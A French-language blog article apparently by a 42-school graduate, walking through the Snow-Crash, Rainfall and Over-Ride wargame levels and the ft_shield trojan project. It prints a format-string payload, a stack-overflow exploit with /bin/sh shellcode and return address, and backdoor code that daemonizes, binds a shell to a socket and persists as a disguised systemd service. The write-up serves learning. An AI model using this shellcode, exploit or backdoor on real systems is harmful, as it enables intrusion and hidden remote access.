La sécurité du point de vue de l'attaquant : leçons de la recherche en vulnérabilités
Le meilleur code sécurisé est écrit par des ingénieurs qui comprennent comment il se casse. Ce document retrace un parcours structuré à travers une vraie recherche en sécurité — failles logiques, corruption mémoire et techniques d'exploitation — et les leçons défensives que chacune a révélées.
La sécurité ne consiste pas seulement à corriger des bugs, mais à comprendre comment ils se produisent. Ce guide complet couvre le programme de sécurité de l'école 42 : des vulnérabilités logiques dans Snow-Crash à l'exploitation binaire avancée dans Rainfall et Over-Ride, en passant par la compréhension des malwares à travers ft_shield.
Partie 1 : Snow-Crash - Introduction à la Sécurité
Snow-Crash se concentre sur les vulnérabilités logiques, la cryptographie faible et les compétences en scripting.
Défi en Vedette : Niveau 09 (Obfuscation par Décalage de Bits)
Le programme ajoute l'indice à la valeur de chaque caractère :
$ ./level09 aaaaa
abcde
Le Script Solution
import sys
with open(sys.argv[1], "rb") as f:
token = f.read()
decoded = ""
for i, byte in enumerate(token):
decoded += chr(byte - i)
print(decoded)
Points Clés Appris
- Bits SUID : Comprendre comment le bit "Set Owner User ID" permet l'élévation de privilèges.
- Scripting pour les CTF : Python est indispensable pour automatiser les tâches de rétro-ingénierie.
- Code Hérité : Traiter les anciennes vulnérabilités fondamentales à l'histoire de la sécurité.
Partie 2 : Rainfall - Corruption Mémoire
Rainfall se concentre sur la corruption mémoire : les dépassements de tampon (Buffer Overflows), les chaînes de format (Format Strings) et les dépassements d'entiers (Integer Overflows).
Vulnérabilité de Chaîne de Format (Niveau 3)
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer); // VULNÉRABILITÉ !
La Vulnérabilité
%x: Fuite de la mémoire de la pile.%n: Écrit le nombre de caractères imprimés vers un pointeur d'adresse.
Stratégie d'Exploitation
- Trouver l'adresse de la variable cible avec GDB (
0x0804988c). - Placer l'adresse sur la pile à un décalage calculable.
- Utiliser
%4$npour écrire vers le 4ème argument.
Charge Utile Finale
python -c 'print("\x8c\x98\x04\x08" + "%60c%4$n")'
Partie 3 : Over-Ride - Exploitation Binaire
Dépassement de Tampon sur la Pile (Niveau 01)
1. Reconnaissance
$ ./level01
********* ADMIN LOGIN PROMPT *********
Enter Username: dat_will
Enter Password: [input]
nope, incorrect password...
2. Trouver le Décalage
En utilisant GDB avec un motif cyclique, on trouve l'écrasement d'EIP au décalage 80.
(gdb) run
Enter Password: Aa0Aa1Aa2... [200 chars]
Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()
3. La Stratégie
- Injecter du Shellcode dans le buffer du nom d'utilisateur.
- Déborder le buffer du mot de passe jusqu'à atteindre l'adresse de retour sauvegardée.
- Rediriger l'Exécution en écrasant avec l'adresse de notre shellcode.
4. La Charge Utile d'Exploitation
# Shellcode : 21 octets pour lancer /bin/sh
shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
# Adresse du buffer du nom d'utilisateur (trouvée via GDB) : 0x0804a040
ret_addr = b"\x47\xa0\x04\x08" # Little-endian
print("dat_wil" + shellcode + "\n" + "A"*80 + ret_addr)
Concepts Clés
- Organisation Mémoire : Comprendre les segments Stack, Heap, Text et BSS.
- Boutisme (Endianness) : x86 est Little-Endian ; les adresses doivent être écrites à l'envers.
- Mécanismes de Protection : NX (contourné avec ROP), ASLR (contourné via des fuites), Canaries.
Partie 4 : ft_shield - Comprendre les Malwares
ft_shield se présente comme un service de protection système, mais est en réalité un Démon Trojan qui ouvre une porte dérobée pour un accès à distance.
Mécanique du Démon
void skeleton_daemon()
{
pid_t pid;
pid = fork();
if (pid < 0) exit(EXIT_FAILURE);
if (pid > 0) exit(EXIT_SUCCESS); // Le parent se termine
if (setsid() < 0) exit(EXIT_FAILURE);
pid = fork(); // Deuxième fork
if (pid < 0) exit(EXIT_FAILURE);
if (pid > 0) exit(EXIT_SUCCESS);
// Le processus est maintenant un démon
}
La Porte Dérobée
Une fois en cours d'exécution silencieuse, il ouvre un socket en écoute et lance un shell après authentification :
dup2(client_fd, STDIN_FILENO);
dup2(client_fd, STDOUT_FILENO);
dup2(client_fd, STDERR_FILENO);
execve("/bin/sh", NULL, NULL);
Persistance
- S'installe en tant que service
systemdpour survivre aux redémarrages. - Utilise des verrous de fichiers pour garantir qu'une seule instance s'exécute.
- Se déguise sous un nom d'apparence légitime.
Conclusion
En apprenant à exploiter de simples erreurs mémoire, nous devenons de meilleurs programmeurs C, plus conscients des pratiques de codage sécurisé, et plus au fait de la façon dont les attaquants pensent. Cette connaissance est essentielle pour construire des systèmes sécurisés.
Explorer le Code
Consultez Snow-Crash, Rainfall, Over-Ride, et ft_shield sur GitHub.
Écrit par

Tech Lead et Ingénieur Full Stack pilotant une équipe de 5 ingénieurs chez Fygurs (Paris, Remote) sur un SaaS cloud-native Azure. Diplômé de 1337 Coding School (42 Network / UM6P). Écrit sur l'architecture, l'infrastructure cloud et le leadership technique.